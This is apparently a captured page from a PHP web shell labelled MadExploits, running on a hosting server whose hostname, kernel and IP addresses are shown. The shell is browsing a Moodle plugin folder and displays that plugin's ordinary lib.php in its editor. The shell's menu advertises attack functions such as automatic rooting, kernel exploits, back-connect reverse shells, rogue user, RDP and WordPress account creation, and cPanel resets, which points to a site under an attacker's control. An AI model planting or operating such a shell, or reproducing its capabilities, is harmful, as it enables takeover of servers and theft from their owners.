Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.7.46
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
mod /
youtubewpt /
[ HOME SHELL ]
Name
Size
Permission
Action
amd
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
LICENSE.md
34.35
KB
-rw-r--r--
README.md
1.52
KB
-rw-r--r--
index.php
3.18
KB
-rw-r--r--
lib.php
5.97
KB
-rw-r--r--
mod_form.php
4.25
KB
-rw-r--r--
version.php
1.11
KB
-rw-r--r--
view.php
2.05
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : lib.php
<?php // This file is part of Moodle - https://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <https://www.gnu.org/licenses/>. /** * Library of interface functions and constants. * * @package mod_youtubewpt * @copyright 2022 Willian Mano <willianmanoaraujo@gmail.com> * @license https://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); /** * Return if the plugin supports $feature. * * @param string $feature Constant representing the feature. * @return true | null True if the feature is supported, null otherwise. */ function youtubewpt_supports($feature) { switch ($feature) { case FEATURE_MOD_ARCHETYPE: return MOD_ARCHETYPE_RESOURCE; case FEATURE_BACKUP_MOODLE2: case FEATURE_COMPLETION_TRACKS_VIEWS: case FEATURE_COMPLETION_HAS_RULES: case FEATURE_SHOW_DESCRIPTION: case FEATURE_MOD_INTRO: return true; default: return null; } } /** * Saves a new instance of the mod_youtubewpt into the database. * * Given an object containing all the necessary data, (defined by the form * in mod_form.php) this function will create a new instance and return the id * number of the instance. * * @param object $moduleinstance An object from the form. * @param mod_youtubewpt_mod_form $mform The form. * @return int The id of the newly inserted record. */ function youtubewpt_add_instance($moduleinstance, $mform = null) { global $DB; $moduleinstance->timecreated = time(); $moduleinstance->timemodified = time(); $id = $DB->insert_record('youtubewpt', $moduleinstance); return $id; } /** * Updates an instance of the mod_youtubewpt in the database. * * Given an object containing all the necessary data (defined in mod_form.php), * this function will update an existing instance with new data. * * @param object $moduleinstance An object from the form in mod_form.php. * @param mod_youtubewpt_mod_form $mform The form. * @return bool True if successful, false otherwise. */ function youtubewpt_update_instance($moduleinstance, $mform = null) { global $DB; $moduleinstance->timemodified = time(); $moduleinstance->id = $moduleinstance->instance; return $DB->update_record('youtubewpt', $moduleinstance); } /** * Removes an instance of the mod_youtubewpt from the database. * * @param int $id Id of the module instance. * @return bool True if successful, false on failure. */ function youtubewpt_delete_instance($id) { global $DB; $exists = $DB->get_record('youtubewpt', array('id' => $id)); if (!$exists) { return false; } $DB->delete_records('youtubewpt', array('id' => $id)); return true; } /** * Add a get_coursemodule_info function in case any survey type wants to add 'extra' information * for the course (see resource). * * Given a course_module object, this function returns any "extra" information that may be needed * when printing this activity in a course listing. See get_array_of_activities() in course/lib.php. * * @param stdClass $coursemodule The coursemodule object (record). * @return cached_cm_info An object on information that the courses * will know about (most noticeably, an icon). */ function youtubewpt_get_coursemodule_info($coursemodule) { global $DB; $dbparams = ['id' => $coursemodule->instance]; $fields = 'id, name, intro, introformat, completionprogress'; if (!$youtubewpt = $DB->get_record('youtubewpt', $dbparams, $fields)) { return false; } $result = new cached_cm_info(); $result->name = $youtubewpt->name; if ($coursemodule->showdescription) { // Convert intro to html. Do not filter cached version, filters run at display time. $result->content = format_module_intro('youtubewpt', $youtubewpt, $coursemodule->id, false); } // Populate the custom completion rules as key => value pairs, but only if the completion mode is 'automatic'. if ($coursemodule->completion == COMPLETION_TRACKING_AUTOMATIC) { $result->customdata['customcompletionrules']['completionprogress'] = $youtubewpt->completionprogress; } return $result; } /** * Callback which returns human-readable strings describing the active completion custom rules for the module instance. * * @param cm_info|stdClass $cm object with fields ->completion and ->customdata['customcompletionrules'] * @return array $descriptions the array of descriptions for the custom rules. */ function mod_youtubewpt_get_completion_active_rule_descriptions($cm) { global $DB; // Values will be present in cm_info, and we assume these are up to date. if (empty($cm->customdata['customcompletionrules']) || $cm->completion != COMPLETION_TRACKING_AUTOMATIC) { return []; } $descriptions = []; foreach ($cm->customdata['customcompletionrules'] as $key => $val) { switch ($key) { case 'completionprogress': if (!empty($val)) { if (!$youtubewpt = $DB->get_record('youtubewpt', ['id' => $cm->instance])) { throw new \moodle_exception('Unable to find youtubewpt with id ' . $cm->instance); } $descriptions[] = get_string('completionprogress_ruledesc', 'mod_youtubewpt', $youtubewpt->completionprogress); } break; default: break; } } return $descriptions; }
Close